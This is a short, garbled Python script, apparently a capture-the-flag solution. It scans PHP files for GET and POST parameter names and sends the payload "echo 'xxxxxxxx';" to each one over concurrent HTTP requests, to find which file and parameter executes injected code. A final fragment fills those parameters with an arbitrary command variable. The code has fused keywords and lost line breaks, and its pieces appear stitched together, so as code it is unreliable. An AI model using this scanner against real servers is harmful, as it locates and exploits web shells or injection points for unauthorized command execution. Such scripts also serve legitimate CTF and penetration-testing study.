files = os.listdir(Path) SEM = asyncio.Semaphore(20)
asyncdefget_post(file): withopen(Path + file) as f: content = f.read() get = re.findall(r"\$_GET\[[\'\"](.*?)[\'\"]\]", content) post = re.findall(r"\$_POST\[[\'\"](.*?)[\'\"]\]", content) return get, post
asyncdefcheck(session, file, params, data): asyncwith SEM: asyncwith session.post(URL + file, data=data, params=params) as rq: text = await rq.text() return [file, params, data] if"xxxxxxxx"in text elseNone
asyncdefsolve(): asyncwith aiohttp.ClientSession() as session: tasks = [] for f in files: get, post = await get_post(f) param = {} data = {} for i in get: param[i] = "echo 'xxxxxxxx';" for j in post: data[j] = "echo 'xxxxxxxx';" tasks.append(asyncio.create_task(check(session, f, param, data))) for t in tasks: result = await t if result: print(result[0], result[1], result[2])
defget_post(file): withopen(file) as f: content = f.read() get = re.findall(r"\$_GET\[[\'\"](.*?)[\'\"]\]", content) post = re.findall(r"\$_POST\[[\'\"](.*?)[\'\"]\]", content) return get, post
get, post = get_post(Path) param = {} data = {} for i in get: param[i] = cmd for j in post: data[j] = cmd